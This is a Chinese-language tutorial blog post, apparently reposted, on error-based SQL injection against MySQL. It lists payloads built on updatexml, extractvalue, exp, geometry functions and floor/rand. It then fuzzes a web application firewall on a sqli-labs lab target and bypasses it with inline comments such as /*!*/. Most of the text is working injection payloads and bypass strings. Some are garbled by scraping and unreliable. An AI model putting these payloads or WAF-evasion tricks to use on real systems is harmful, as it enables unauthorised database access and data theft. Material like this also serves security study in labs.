bypasswaf 之报错注入

前端之家收集整理的这篇文章主要介绍了bypasswaf 之报错注入前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

0x00 前言

前面讲到了bypass 联合查询和盲注,那么这章节就来个报错注入。

0x01 报错注入与函数

方法是在页面没有显示位,但是echo MysqL_error();函数输出错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo MysqL_error();输出错误信息时使用。

在联合查询查询能爆出数据是因为在页面显示位,而盲注只能靠页面返回正常或者错误,这样的方式比较慢,那么这时候如果有报错,可以直接通过MysqL的报错语句让他爆出数据。

1.updatexml()

updatexml() 是更新xml文档的函数
语法:update(目标xml文档,xml路径,更新内容) 第二个参数xml路径是可以操作的地方,xml文档中查找字符串位置是用/xx/xx...这种格式,如果写入其他格式就会报错。

select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)">1));

 

 

 

 

2.extractvalue()

1 and (extractvalue(0x7e)));

 

 

 语法:extractvalue(目标xml文档,xml路径)

 

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询内容

3.exp()

1 and exp(~(from(select user())a));
exp()以e为底的指数函数,但是如果传递的数太大了,当大于709时,

exp()就会因为重复而报错。 将0按位取反就会得到“ 18446744073709551615”,

再加上函数成功执行后返回0,我们将成功执行的函数取反就会得到最大的无符号的bigint值。

 通过子查询与按位求反,造成一个双倍的溢出错误,可能就可以注出数据。 

4.geometrycollection()

1 and geometrycollection((select user())a)b));

5.multipoint()

1 and multipoint((select user())a)b));

6.polygon()

1 and polygon((select user())a)b));

7.multipolygon()

1 and multipolygon((select user())a)b));

8.linestring()

1 and linestring((select user())a)b));

9.multilinestring()

1 and multilinestring((select user())a)b));

10.floor

1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

 

floor(x) 函数,向下取整,返回一个不大于x的值
round(x,d) 函数,根据四舍五入保留指定的小数位数,x指要处理的数,d是指保留几位小数。
rand() 函数,产生一个0-1之间的随机浮点数,若有参数x,则返回一个x对应的固定的值

 

 0x02 bypass盲注

http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

 

 

 

 

那么我们先来fuzz一下拦截的参数

and 不拦截 
and updatexml        不拦截
and updatexml()      不拦截
and updatexml(1) 拦截
and updatexml(1)  不拦截
and updatexml(1,1,1 不拦截

那么现在却确定他拦截的是 完整的 and updatexml (1,2,3)  那么我们可以从他的括号做手脚

 and updatexml(/*!)*/   不拦截

 

 

 成功绕过,那么我们现在来查询user(),查询用户名

' and updatexml(1,1/*!)*/--+

输入select拦截了还得继续fuzz

and updatexml(*/             拦截
and updatexml(
select ),1)">*/ 拦截 and updatexml(select user ),1)">*/拦截 and updatexml(select user() ),1)">*/ 拦截

那么他拦截的肯定是user和括号拼接起来的函数

 

 

 

 继续fuzz

and updatexml(select user/**/() ),1)">   拦截
and updatexml(select user+() ),1)">      拦截
and updatexml(select user--+%0a() ),1)">  拦截
and updatexml(select user--+hex(0)*/%0a() ),1)">!hex(0)*/拦截 
试试另一种方法
and updatexml(1,(select user(/**/) ),1/*!)*/ 拦截
and updatexml(1,(select user(/*!/**/*/) ),1/*!)*/ 绕过

 

 

 这里因为没有加concat 等字符拼接函数,所以显示会有问题,这里来添加试试

http:

 

 

 这里被拦截 那么肯定就是concat这个函数

继续fuzz

and updatexml(*/拦截且回显~号
and updatexml(0x7e!,*/ (1)*/*/拦截  回显1

这里concat()和concat(0x7e,)不拦截 加多个都好就拦截了 ,那么他肯定过滤了,这里用/*!*/来绕过

 

 现在我们已经回显出1来了 就可以来用user()函数查询一下

http:

 

 查询成功  成功绕过waf后面的一些暴库,爆表也是一样的方法思路。

0x03   结尾

啥也不说插个表情包

 

猜你在找的网络安全相关文章